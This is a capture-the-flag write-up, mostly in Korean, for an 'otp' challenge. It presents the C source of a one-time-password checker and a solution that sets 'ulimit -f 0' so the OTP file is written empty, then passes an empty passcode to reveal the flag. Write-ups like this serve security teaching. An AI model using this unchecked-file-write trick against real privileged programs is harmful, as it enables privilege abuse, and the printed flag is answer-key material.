Description
I made a skeleton interface for one time password authentication system. I guess there are no security mistakes. could you take a look at it? Hint : no need to brute-force ssh [email protected] -p2222 (pw:guest)
Source Code
- otp.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> int main(int argc, char* argv[]){ char fname[128]; unsigned long long otp[2]; if(argc!=2){ printf("usage : ./otp [passcode]\n"); return 0; } int fd = open("/dev/urandom", O_RDONLY); if(fd==-1) exit(-1); if(read(fd, otp, 16)!=16) exit(-1); close(fd); sprintf(fname, "/tmp/%llu", otp[0]); FILE* fp = fopen(fname, "w"); if(fp==NULL){ exit(-1); } fwrite(&otp[1], 8, 1, fp); fclose(fp); printf("OTP generated.\n"); unsigned long long passcode=0; FILE* fp2 = fopen(fname, "r"); if(fp2==NULL){ exit(-1); } fread(&passcode, 8, 1, fp2); fclose(fp2); if(strtoul(argv[1], 0, 16) == passcode){ printf("Congratz!\n"); setregid(getegid(), getegid()); system("/bin/cat flag"); } else{ printf("OTP mismatch\n"); } unlink(fname); return 0; }
/dev/urandom
에서 16바이트(8바이트씩 2개)를 읽어 otp[0]
과 otp[1]
에 저장한다.
임시 파일 이름을 /tmp/[otp[0]]
, 파일 내용을 otp[1]
(8바이트)로 지정한다.
방금 만든 임시 파일을 다시 열어 otp[1]
값을 읽어오고 16진수 숫자로 변환하여 사용자 입력인 argv[1]
와 비교했을때 일치하면 flag를 획득할 수 있다.
Solution
ulimit
간략히 설명하면, ulimit
명령어는 생성시킬 수 있는 파일 사이즈 크기를 임의로 지정시켜줄 수 있다.
ULIMIT(3) Linux Programmer's Manual ULIMIT(3) NAME ulimit - get and set user limits SYNOPSIS #include <ulimit.h> long ulimit(int cmd, long newlimit); DESCRIPTION Warning: this routine is obsolete. Use getrlimit(2), setrlimit(2), and sysconf(3) instead. For the shell command ulimit(), see bash(1). The ulimit() call will get or set some limit for the calling process. The cmd argument can have one of the following values. UL_GETFSIZE Return the limit on the size of a file, in units of 512 bytes. UL_SETFSIZE Set the limit on the size of a file. 3 (Not implemented for Linux.) Return the maximum possible address of the data segment. 4 (Implemented but no symbolic constant provided.) Return the maxi‐ mum number of files that the calling process can open. RETURN VALUE On success, ulimit() returns a nonnegative value. On error, -1 is re‐ turned, and errno is set appropriately. ERRORS EPERM An unprivileged process tried to increase a limit. ATTRIBUTES For an explanation of the terms used in this section, see attributes(7). ┌──────────┬───────────────┬─────────┐ │Interface │ Attribute │ Value │ ├──────────┼───────────────┼─────────┤ │ulimit() │ Thread safety │ MT-Safe │ └──────────┴───────────────┴─────────┘ CONFORMING TO SVr4, POSIX.1-2001. POSIX.1-2008 marks ulimit() as obsolete. SEE ALSO bash(1), getrlimit(2), setrlimit(2), sysconf(3)
Result
생성시킬 수 있는 파일 사이즈를 0으로 지정했기에 fp2
로부터 fread
했을시 passcode
에 아무것도 들어가있지 않다.
따라서 otp 실행인자를 비어두게 만들면 플래그를 획득할 수 있다.
otp@ubuntu:~$ ulimit -f 0 otp@ubuntu:~$ python2 Python 2.7.18 (default, Dec 9 2024, 18:47:23) [GCC 11.4.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import subprocess >>> subprocess.call(['/home/otp/otp', '']) OTP generated. Congratz! f1le_0peration_r3turn_value_matters